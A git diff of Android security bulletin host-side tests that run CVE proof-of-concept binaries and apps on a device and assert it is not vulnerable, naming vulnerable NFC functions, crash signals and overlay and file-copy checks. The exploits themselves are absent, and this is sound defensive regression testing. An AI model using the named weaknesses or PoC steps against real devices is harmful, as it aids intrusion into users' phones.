+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2031 extends SecurityTestCase {
+
+    /**
+     * b/120502559
+     * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t3t_act_handle_check_ndef_rsp (As per AOSP code)
+     */
+    @AsbSecurityTest(cveBugId = 120502559)
+    @Test
+    public void testPocCVE_2019_2031() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
+        pocPusher.only64();
+        String signals[] = {CrashUtils.SIGABRT};
+        String binaryName = "CVE-2019-2031";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t3t_act_handle_check_ndef_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
new file mode 100644
index 0000000..3aa0474
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0015.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0015 extends StsExtraBusinessLogicHostTestBase {
+
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 139017101)
+    @Test
+    public void testPocCVE_2020_0015() throws Exception {
+        ITestDevice device = getDevice();
+        final String testPkg = "android.security.cts.CVE_2020_0015";
+        uninstallPackage(device, testPkg);
+
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+        installPackage("CVE-2020-0015.apk");
+        AdbUtils.runCommandLine("pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW",
+                device);
+        assertTrue(runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
new file mode 100644
index 0000000..6689459
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0034.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0034 extends SecurityTestCase {
+
+    /**
+     * b/62458770
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @AsbSecurityTest(cveBugId = 62458770)
+    @Test
+    public void testPocCVE_2020_0034() throws Exception {
+        pocPusher.only32();
+        String binaryName = "CVE-2020-0034";
+        String inputFiles[] = {"cve_2020_0034.ivf"};
+        String signals[] = {CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
index 9573b39..04d65f8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0073.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,30 +16,40 @@
 
 package android.security.cts;
 
-import com.android.tradefed.device.ITestDevice;
-import com.android.compatibility.common.util.CrashUtils;
-
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2020_0073 extends SecurityTestCase {
 
     /**
      * b/147309942
      * Vulnerability Behaviour: SIGABRT in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_t2t_handle_tlv_detect_rsp (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 147309942)
     public void testPocCVE_2020_0073() throws Exception {
         AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
         String binaryName = "CVE-2020-0073";
-        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String signals[] = {CrashUtils.SIGABRT};
         AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
-        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_t2t_handle_tlv_detect_rsp"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
         testConfig.config.setSignals(signals);
         AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
similarity index 68%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
index 43a058c..84b45a0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0458.java
@@ -1,5 +1,5 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
+/**
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,21 +17,22 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_0458 extends SecurityTestCase {
 
-   /**
-     * b/174738029
-     *
+    /**
+     * b/160265164
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @AsbSecurityTest(cveBugId = 174738029)
+    @AsbSecurityTest(cveBugId = 160265164)
     @Test
-    public void testPocCVE_2020_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+    public void testPocCVE_2020_0458() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0458", getDevice(), 300);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
similarity index 88%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
index 43a058c..ed3e846 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29368.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_29374.java
@@ -23,7 +23,7 @@
 import static org.junit.Assert.*;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_29368 extends SecurityTestCase {
+public class CVE_2020_29374 extends SecurityTestCase {
 
    /**
      * b/174738029
@@ -31,7 +31,7 @@
      */
     @AsbSecurityTest(cveBugId = 174738029)
     @Test
-    public void testPocCVE_2020_29368() throws Exception {
-        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29368", getDevice(),60);
+    public void testPocCVE_2020_29374() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-29374", getDevice(),60);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
index a6ae4f8..4b1bc22 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0305.java
@@ -22,7 +22,7 @@
 import android.platform.test.annotations.AsbSecurityTest;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 
 import org.junit.After;
 import org.junit.Assert;
@@ -38,7 +38,7 @@
  * collected from the hostside and reported accordingly.
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0305 extends BaseHostJUnit4Test {
+public class CVE_2021_0305 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0305";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0305.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
index af3503c..585d19b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0430.java
@@ -1,5 +1,5 @@
 /**
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -17,21 +17,40 @@
 package android.security.cts;
 
 import android.platform.test.annotations.AsbSecurityTest;
-import org.junit.Test;
-import org.junit.runner.RunWith;
+
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
+import java.util.regex.Pattern;
+
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CVE_2021_0430 extends SecurityTestCase {
 
     /**
      * b/178725766
      * Vulnerability Behaviour: SIGSEGV in self
+     * Vulnerable Library: libnfc-nci (As per AOSP code)
+     * Vulnerable Function: rw_mfc_handle_read_op (As per AOSP code)
      */
     @Test
     @AsbSecurityTest(cveBugId = 178725766)
     public void testPocCVE_2021_0430() throws Exception {
+        AdbUtils.assumeHasNfc(getDevice());
+        assumeIsSupportedNfcDevice(getDevice());
         pocPusher.only64();
-        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2021-0430", null, getDevice());
+        String signals[] = {CrashUtils.SIGSEGV};
+        String binaryName = "CVE-2021-0430";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+                .setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
+                        "rw_mfc_handle_read_op"));
+        testConfig.config
+                .setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
deleted file mode 100644
index 5f0c200..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0481.java
+++ /dev/null
@@ -1,125 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.AppModeInstant;
-import android.platform.test.annotations.AppModeFull;
-import android.util.Log;
-import android.platform.test.annotations.AsbSecurityTest;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assert.*;
-import static org.hamcrest.CoreMatchers.*;
-
-/**
- * Test that collects test results from test package android.security.cts.CVE_2021_0481.
- *
- * When this test builds, it also builds a support APK containing
- * {@link android.sample.cts.CVE_2021_0481.SampleDeviceTest}, the results of which are
- * collected from the hostside and reported accordingly.
- */
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0481 extends BaseHostJUnit4Test {
-    private static final String TEST_PKG = "android.security.cts.CVE_2021_0481";
-    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
-    private static final String TEST_APP = "CVE-2021-0481.apk";
-
-    private static final String DEVICE_DIR1 = "/data/user_de/0/com.android.settings/shared_prefs/";
-    private static final String DEVICE_DIR2 = "/data/user_de/0/com.android.settings/cache/";
-
-    //defined originally as
-    //private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
-    //in com.android.settings.users.EditUserPhotoController class
-    private static final String TAKE_PICTURE_FILE_NAME = "TakeEditUserPhoto2.jpg";
-    private static final String TEST_FILE_NAME = "cve_2021_0481.txt";
-
-    @Before
-    public void setUp() throws Exception {
-        uninstallPackage(getDevice(), TEST_PKG);
-    }
-
-    @Test
-    @AsbSecurityTest(cveBugId = 172939189)
-    @AppModeFull
-    public void testRunDeviceTest() throws Exception {
-
-        String cmd;
-
-        //delete a source file just in case AdbUtils.pushResource()
-        //doesn't overwrite existing file
-        cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        //push the source file to a device
-        AdbUtils.pushResource("/" + TEST_FILE_NAME, DEVICE_DIR1 + TEST_FILE_NAME, getDevice());
-
-        //delete a destination file which is supposed to be created by a vulnerable device
-        //by coping TEST_FILE_NAME -> TAKE_PICTURE_FILE_NAME
-        cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        installPackage();
-
-        //ensure the screen is woken up.
-        //KEYCODE_WAKEUP wakes up the screen
-        //KEYCODE_MENU called twice unlocks the screen (if locked)
-        //Note: (applies to Android 12 only):
-        //      KEYCODE_MENU called less than twice doesnot unlock the screen
-        //      no matter how many times KEYCODE_HOME is called.
-        //      This is likely a timing issue which has to be investigated further
-        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
-        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-        getDevice().executeShellCommand("input keyevent KEYCODE_MENU");
-
-        //run the test
-        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testUserPhotoSetUp"));
-
-        //go to home screen after test
-        getDevice().executeShellCommand("input keyevent KEYCODE_HOME");
-
-        //Check if TEST_FILE_NAME has been copied by "Evil activity"
-        //If the file has been copied then it means the vulnerability is active so the test fails.
-        cmd = "cmp -s " + DEVICE_DIR1 + TEST_FILE_NAME + " " +
-            DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME + "; echo $?";
-        String result =  AdbUtils.runCommandLine(cmd, getDevice()).trim();
-        CLog.i(cmd + " -->" + result);
-
-        //Delete files created by this test
-        cmd = "rm " + DEVICE_DIR2 + TAKE_PICTURE_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-        cmd = "rm " + DEVICE_DIR1 + TEST_FILE_NAME;
-        AdbUtils.runCommandLine(cmd, getDevice());
-
-        //final assert
-        assertThat(result, not(is("0")));
-    }
-
-    private void installPackage() throws Exception {
-        installPackage(TEST_APP, new String[0]);
-    }
-}
-
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
index db0a1b2..30af472 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0523.java
@@ -1,4 +1,4 @@
-/**
+/*
  * Copyright (C) 2021 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,85 +16,44 @@
 
 package android.security.cts;
 
+import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
+
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import java.util.regex.Pattern;
-import java.util.regex.Matcher;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+
+import org.junit.Assert;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.hamcrest.core.Is.is;
-import static org.junit.Assert.assertThat;
-
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0523 extends SecurityTestCase {
+public class CVE_2021_0523 extends StsExtraBusinessLogicHostTestBase {
+    private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+    private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+    private static final String TEST_APP = "CVE-2021-0523.apk";
 
-    private static void extractInt(String str, int[] displaySize) {
-        str = ((str.replaceAll("[^\\d]", " ")).trim()).replaceAll(" +", " ");
-        if (str.equals("")) {
-            return;
-        }
-        String s[] = str.split(" ");
-        for (int i = 0; i < s.length; ++i) {
-            displaySize[i] = Integer.parseInt(s[i]);
-        }
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        uninstallPackage(device, TEST_PKG);
+        /* Wake up the screen */
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
     }
 
     /**
      * b/174047492
      */
-    @Test
+    @AppModeFull
     @AsbSecurityTest(cveBugId = 174047492)
+    @Test
     public void testPocCVE_2021_0523() throws Exception {
-        final int SLEEP_INTERVAL_MILLISEC = 30 * 1000;
-        String apkName = "CVE-2021-0523.apk";
-        String appPath = AdbUtils.TMP_PATH + apkName;
-        String packageName = "android.security.cts.cve_2021_0523";
-        String crashPattern =
-            "Device is vulnerable to b/174047492 hence any app with " +
-            "SYSTEM_ALERT_WINDOW can overlay the WifiScanModeActivity screen";
-        ITestDevice device = getDevice();
-
-        try {
-            /* Push the app to /data/local/tmp */
-            pocPusher.appendBitness(false);
-            pocPusher.pushFile(apkName, appPath);
-
-            /* Wake up the screen */
-            AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
-            AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
-
-            /* Install the application */
-            AdbUtils.runCommandLine("pm install " + appPath, device);
-
-            /* Grant "Draw over other apps" permission */
-            AdbUtils.runCommandLine(
-                    "pm grant " + packageName + " android.permission.SYSTEM_ALERT_WINDOW", device);
-
-            /* Start the application */
-            AdbUtils.runCommandLine("am start -n " + packageName + "/.PocActivity", getDevice());
-            Thread.sleep(SLEEP_INTERVAL_MILLISEC);
-
-            /* Get screen width and height */
-            int[] displaySize = new int[2];
-            extractInt(AdbUtils.runCommandLine("wm size", device), displaySize);
-            int width = displaySize[0];
-            int height = displaySize[1];
-
-            /* Give a tap command for center of screen */
-            AdbUtils.runCommandLine("input tap " + width / 2 + " " + height / 2, device);
-        } catch (Exception e) {
-            e.printStackTrace();
-        } finally {
-            /* Un-install the app after the test */
-            AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
-            /* Detection of crash pattern in the logs */
-            String logcat = AdbUtils.runCommandLine("logcat -d *:S AndroidRuntime:E", device);
-            Pattern pattern = Pattern.compile(crashPattern, Pattern.MULTILINE);
-            assertThat(crashPattern, pattern.matcher(logcat).find(), is(false));
-        }
+        installPackage(TEST_APP);
+        AdbUtils.runCommandLine("pm grant " + TEST_PKG + " android.permission.SYSTEM_ALERT_WINDOW",
+                getDevice());
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testOverlayButtonPresence"));
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
index 34e2ca1..5a7ec8d 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0586.java
@@ -20,14 +20,14 @@
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0586 extends BaseHostJUnit4Test {
+public class CVE_2021_0586 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0586";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0586.apk";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
index 0c8f0a9..eb74b20 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0591.java
@@ -21,7 +21,7 @@
 import android.platform.test.annotations.RequiresDevice;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import java.util.regex.Pattern;
 import org.junit.Assert;
 import org.junit.Before;
@@ -33,7 +33,7 @@
 import static org.junit.Assume.assumeTrue;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0591 extends BaseHostJUnit4Test {
+public class CVE_2021_0591 extends StsExtraBusinessLogicHostTestBase {
 
     private static final String TEST_PKG = "android.security.cts.CVE_2021_0591";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
new file mode 100644
index 0000000..29fd2b3
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0642.java
@@ -0,0 +1,56 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0642 extends StsExtraBusinessLogicHostTestBase {
+    static final String TEST_APP = "CVE-2021-0642.apk";
+    static final String TEST_PKG = "android.security.cts.cve_2021_0642";
+    static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
+
+    @Before
+    public void setUp() throws Exception {
+        ITestDevice device = getDevice();
+        AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+        AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+        uninstallPackage(device, TEST_PKG);
+    }
+
+    /**
+     * b/185126149
+     */
+    @AppModeFull
+    @AsbSecurityTest(cveBugId = 185126149)
+    @Test
+    public void testPocCVE_2021_0642() throws Exception {
+        installPackage(TEST_APP);
+        Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testCVE_2021_0642"));
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
index f5f6b8b..26bba4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0685.java
@@ -19,14 +19,14 @@
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 import org.junit.Test;
 
 @RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2021_0685 extends BaseHostJUnit4Test {
+public class CVE_2021_0685 extends StsExtraBusinessLogicHostTestBase {
     private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
     private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
     private static final String TEST_APP = "CVE-2021-0685.apk";
